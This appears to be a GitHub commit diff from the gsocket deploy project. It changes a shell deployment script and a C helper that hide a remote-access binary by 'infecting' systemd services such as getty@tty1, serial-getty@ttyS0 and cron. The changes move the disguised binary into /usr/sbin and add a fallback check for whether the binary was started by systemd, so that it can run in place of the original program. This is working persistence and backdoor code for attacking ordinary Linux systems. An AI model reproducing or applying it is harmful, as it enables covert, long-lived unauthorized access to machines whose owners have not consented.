Skip to content

Commit

Permalink
pid forward
Browse files Browse the repository at this point in the history
  • Loading branch information
rootTHC committed Jun 11, 2024
1 parent 565668b commit ffc6d72
Show file tree
Hide file tree
Showing 2 changed files with 20 additions and 13 deletions.
22 changes: 12 additions & 10 deletions deploy/deploy.sh
Original file line number Diff line number Diff line change
Expand Up @@ -180,14 +180,15 @@ GS_FFPID=1
# INFECT_SYSCTL_NAME_ARR+=("rsyslog")
# }
# => Got notification message from PID 52031, but reception only permitted for main PID 52029
res=$(command -v agetty) && systemctl is-active --quiet 'getty@tty1' &>/dev/null && {
res=$(command -v agetty) && {
INFECT_BIN_NAME_ARR+=("${res:?}")
INFECT_SYSCTL_NAME_ARR+=("getty@tty1")
# [[ "$(pgrep -c agetty 2>/dev/null)" -gt 1 ]] && {
# More that 1 agetty process.
# systemctl show getty@tty1 --property=ExecStart
# }
systemctl show 'getty@tty1' --property=ExecStart | grep -qm1 -F "noclear" && INFECT_SYSTEMD_ARGV_MATCH="noclear"
if systemctl is-active --quiet 'getty@tty1' &>/dev/null; then
INFECT_SYSCTL_NAME_ARR+=("getty@tty1")
systemctl show 'getty@tty1' --property=ExecStart | grep -qm1 -F "noclear" && INFECT_SYSTEMD_ARGV_MATCH="noclear"
elif systemctl is-active --quiet 'serial-getty@ttyS0' &>/dev/null; then
INFECT_SYSCTL_NAME_ARR+=("serial-getty@ttyS0")
INFECT_SYSTEMD_ARGV_MATCH="ttyS0"
fi
}
res=$(command -v cron) && {
INFECT_BIN_NAME_ARR+=("${res:?}")
Expand Down Expand Up @@ -581,7 +582,7 @@ init_dstbin()
fi

# Try systemwide installation first
try_dstdir "${GS_PREFIX}/usr/bin" && return
try_dstdir "${GS_PREFIX}/usr/sbin" && return

# Try user installation
[[ ! -d "${GS_PREFIX}${HOME}/.config" ]] && xmkdir "${GS_PREFIX}${HOME}/.config"
Expand Down Expand Up @@ -937,7 +938,7 @@ init_setup()
if [[ -n "$GS_PREFIX" ]]; then
# Debuggin and testing into separate directory
mkdir -p "${GS_PREFIX}/etc" 2>/dev/null
mkdir -p "${GS_PREFIX}/usr/bin" 2>/dev/null
mkdir -p "${GS_PREFIX}/usr/sbin" 2>/dev/null
mkdir -p "${GS_PREFIX}${HOME}" 2>/dev/null
if [[ -f "${HOME}/${RC_FN_LIST[1]}" ]]; then
cp -p "${HOME}/${RC_FN_LIST[1]}" "${GS_PREFIX}${HOME}/${RC_FN_LIST[1]}"
Expand Down Expand Up @@ -1068,7 +1069,8 @@ uninstall()
uninstall_rm "${GS_PREFIX}${HOME}/.config/${cn}/${hn}"
uninstall_rm "${GS_PREFIX}${HOME}/.config/${cn}/${hn}.dat" # SEC_NAME
done
uninstall_rm "${GS_PREFIX}/usr/bin/${hn}"
uninstall_rm "${GS_PREFIX}/usr/bin/${hn}" # obsolete
uninstall_rm "${GS_PREFIX}/usr/sbin/${hn}"
uninstall_rm "/dev/shm/${hn}"
uninstall_rm "/tmp/.gsusr-${UID}/${hn}"
uninstall_rm "${PWD}/${hn}"
Expand Down
11 changes: 8 additions & 3 deletions tools/gsnc-utils.c
Original file line number Diff line number Diff line change
Expand Up @@ -392,7 +392,8 @@ init_supervise(int *argc, char *argv[]) {
XFREE(systemd_argv_match);
}

if (getppid() > 1)
pid_t ppid = getppid();
if (ppid > 1)
goto execorig; // NOT started from systemd.
if (getuid() != 0)
goto execorig; // We only use root-services to start gsnc from systemd.
Expand All @@ -401,8 +402,12 @@ init_supervise(int *argc, char *argv[]) {
is_systemd++; // Older systemd's dont set this.
else if (getenv("INVOCATION_ID") != NULL)
is_systemd++; // Older systemd's dont set this.
// else if (((ptr = getenv("LANG")) == NULL) || (*ptr == '\0'))
// is_systemd++; // LANG is normally set by /bin/sh. agetty's service removes it.

// FIXME: Some systems dont set EXEC_PID or INVOCATION_ID.
// Assume that if we are a daemon (ppid=1) and the '%s ' exists that
// we were started from systemd.
if ((is_systemd == 0) && (ppid <= 1))
is_systemd++;

if (is_systemd == 0)
goto execorig; // not started from systemd
Expand Down

0 comments on commit ffc6d72

Please sign in to comment.